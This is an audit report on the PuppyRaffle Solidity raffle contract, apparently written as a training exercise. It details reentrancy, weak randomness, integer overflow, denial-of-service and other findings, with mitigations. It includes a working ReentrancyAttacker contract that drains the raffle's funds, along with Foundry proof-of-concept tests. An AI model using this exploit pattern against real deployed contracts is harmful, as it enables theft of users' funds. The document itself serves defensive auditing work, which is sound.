PuppyRaffle Audit Report

Version 1.0

ReinaBaz

December 31, 2024

Protocol Audit Report

Reina Baz

December 31, 2024

Prepared by: [Reina Baz]

Table of Contents

    * [M-2] Smart contract wallets raffle winners with no `fallback` or `receive` functions will block the start of a new contest.
    * [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-active players and for players at index 0, causing the player at index 0 to incorrectly think they have not entered the raffle.
  - Gas
    * [G-1] Unchanged state variables should be declared constant or immutable.
    * [G-2] Storage variables in a loop chould be cashed
    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Using an outdated version of solidity is not recommended
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not the best practice.
    * [I-5] Use of "magic" numbers is discouraged.
    * [I-6] State changes are missing events.
    * [I-7] Event is missing `indexed` fields.
    * [I-8] `PuppyRaffle::isActivePlayer` is never used and should be removed.

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Reina team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
-

Scope

- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	8
Gas	2
Total	17

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle.

Description: The `PuppyRaffle::refund` function does not follow CEI(Checks, Effects, Interactions), and as a result, enables participants to drain the contract's balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender`, and only after we make that external external, we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");

@>        payable(msg.sender).sendValue(entranceFee);
@>        players[playerIndex] = address(0);
```

```

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function, that calls the `PuppyRaffle::refund` function again and claim another fund. They could continue this cycle until the contract's balance is drained.

Impact: All fees paid by the raffle participants could be drained by the malicious participant.

Proof of Concept:

1. User enters the raffle.
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle:refund`
3. Attacker enters the raffle
4. Attacker calls the `PuppyRaffle::refund` function from their attack contract, draining the contract's balance.

Proof of Code

Code

Place the following test in `PuppyRaffleTest.t.sol`:

```
function test_reentrancyFund() public  {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attacker = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(attacker).
            balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        //attack
        vm.prank(attackUser);
        attacker.attack{value: entranceFee}();

        console.log("starting attack contract balance:",
            startingAttackContractBalance);
        console.log("starting contract balance:",
            startingContractBalance);

        console.log("ending attacker contract balance:", address(
            attacker).balance);
        console.log("ending contract balance:", address(puppyRaffle).
            balance);

    }
```

And this contract as well:

```
contract ReentrancyAttacker{
    PuppyRaffle public puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle){
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable{
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if(address(puppyRaffle).balance >= entranceFee){
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable{
        _stealMoney();
    }

    receive() external payable{
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
 function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
```

```diff
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");
+        players[playerIndex] = address(0);
+        emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-         players[playerIndex] = address(0);
-         emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle:selectWinner` allows users to influence or predict the winner, and influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable final number, which is not a good random number. Malicious users can manipulate these numbers or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winners.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with `prevrandao`.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or the resulting puppy.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow in `PuppyRaffle::totalFees` loses fees.

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```solidity
uint64 myVar = type(uint64).max
// 18446744073709551615
```

```
myVar = myVar +1
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feesAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permenantly stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players.
2. We then have 90 players enter the raffle, then we conclude the raffle.
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// which is
totalFees = 800000000000000000 + 18000000000000000000
// this will definitely overflow
starting total fees 800000000000000000
ending total fees 353255926290448384
```

4. You will not be able to withdraw due to the line in `PuppyRaffle::withdrawFees`

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdesctruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of this protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

Add the following test to the `PuppyRaffleTest.t.sol` file:

```
 function test_TotalFeesOverflow() public playersEntered{
         // after the raffle is done(4 players entered)
        vm.warp(block.timestamp + duration +1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        console.log("starting total fees", startingTotalFees);

        // let 90 more players join the raffle
        uint256 playersNum = 90;
        address[] memory players = new address[](playersNum);

        for(uint256 i = 0; i < playersNum ; i++){
         players[i] = address(i);
        }

        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players
         );

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);

        assert(endingTotalFees < startingTotalFees);

    }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uit256` instead of `uint64` for `PuppyRaffle::totalFees`.
2. You could use the `SafeMatch` library in OpenZeppelin for version `0.7.6` of solidity. However, you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from the `PuppyRaffle::withdrawFees`.

```
-    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vector with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through the players array in the `PuppyRaffle::enterRaffle` function to check for duplicants is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` fucntion loops through the `players` array to check for duplicates. So, the longer the `PuppyRaffle::players` is, the more checks the loop will have to make. This means the gas costs for players who enter right when the raffle starts will be automatically lower than for those who join later. Every additional address the `players` array, is an additional check the loop will have to make.

```

// @audit Denial Of Service Attack
@> for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate
            player");
            }
```

Impact: The gas costs for entering the raffle will significantly increase as mor eplayers emter the raffle. Discouraging the later users from entering, and causing a rush at the start of the raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` so big such that no one else can enter, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter the raffle, the gas costs will be as such: - First 100 players: ~ 6252128 gas - Second 100 players: ~ 18068218 gas

This is more than 3x more expensive for the second 100 players:

Poc

Place the following test in the `PuppyRaffleTest.t.sol`:

```
function test_DenialOfService() public {
        vm.txGasPrice(1);

        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for(uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas used for the first 100 players: ",
            gasUsedFirst);

        address[] memory playersTwo = new address[](playersNum);
        for(uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }

        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersTwo);
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
            gasprice;
        console.log("Gas used for the second 100 players: ", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: There are a few recommendations: 1. Consider allowing duplicates. Users can create multiple wallet addresses, so a duplicate check won't prevent the same user from entering the raffle multiple times, only the same wallet address. 2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+ mapping(address => uint256) public addressToRaffleId;
+ uint256 public raffleId = 0;
        .
        .
        .
 function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+       addressToRaffleId[newPlayers[i]] = raffleId;
        }

-        // Check for duplicates
+        // Check for duplicates only from new players
+        for(uint256 i = 0; i < newPlayers.length; i++){
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate Player");
+   }

-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-            }
-        }
        emit RaffleEnter(newPlayers);

 }
        .
        .
        .
 function selectWinner() external {
+    raffleId = raffleId + 1;
     require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
 }
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` Library

[M-2] Smart contract wallets raffle winners with no `fallback` or `receive` functions will block the start of a new contest.

Description: The `PuppyRaffle:selectWinner` function is responsible for resetting the lottery. However, if the winner is smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again, and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset very difficult.

Also, true winners could not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery with a `fallback` or `receive` function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even tho the lottery is over.

Recommended Mitigation: There are a few possible mitigations.

1. Do not allow smart contract wallet entrants (not recommended tho).
2. create a mapping of addresses => payout so winners could pull their funds out themselves, putting the owness on the winner to claim their prize (recommended).

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle"
            );

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
            sender, block.timestamp, block.difficulty))) % players.
            length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
```

```
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
```

```
+         totalFees = totalFees + fee;
```

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-active players and for players at index 0, causing the player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0. But, according to the natspec, it will also return 0 if the player is not in the `players` array.

```
/// @returns the index of the player in the array, if they are not
    active, it returns 0
function getActivePlayerIndex(address player) external view returns (
    uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 will think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. Player enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User might think they did not enter the raffle correctly due to the function's documentation.

Recommended Mitigation: The easiest recomment is for the function to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return a `uint256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be immutable - `PuppyRaffle::commonImageUri` should be constant - `PuppyRaffle::rareImageUri` should be constant - `PuppyRaffle::legendaryImageUri` should be constant

[G-2] Storage variables in a loop chould be cashed

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+ uint256 playersLength = players.length;
+ for (uint256 i = 0; i < playersLength - 1; i++)
- for (uint256 i = 0; i < players.length - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; j < playersLength; j++)
                  require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
              }
          }
```

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] Using an outdated version of solidity is not recommended

please use a newer version of solidity such as `0.8.18` solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 168

  ```
          feeAddress = newFeeAddress;
  ```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not the best practice.

It's best to keep the code clean, and follow CEI

```
-       (bool success,) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+       (bool success,) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged.

It can be confusing to see number literals in the codebase, and it's much more readable if the numbers are given a name.

Examples:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

instead you could use:

```
uint256 public constant PUBLIC_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events.

State variable changes in this function but no event is emitted.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 125

```
    function selectWinner() external {
```

- Found in src/PuppyRaffle.sol Line: 157

```
    function withdrawFees() external {
```

[I-7] Event is missing `indexed` fields.

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 53

```
    event RaffleEnter(address[] newPlayers);
```

- Found in src/PuppyRaffle.sol Line: 54

```
    event RaffleRefunded(address player);
```

- Found in src/PuppyRaffle.sol Line: 55

```
    event FeeAddressChanged(address newFeeAddress);
```

[I-8] `PuppyRaffle::isActivePlayer` is never used and should be removed.

Functions that are not used. Consider removing them.

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 173

```
    function _isActivePlayer() internal view returns (bool) {
```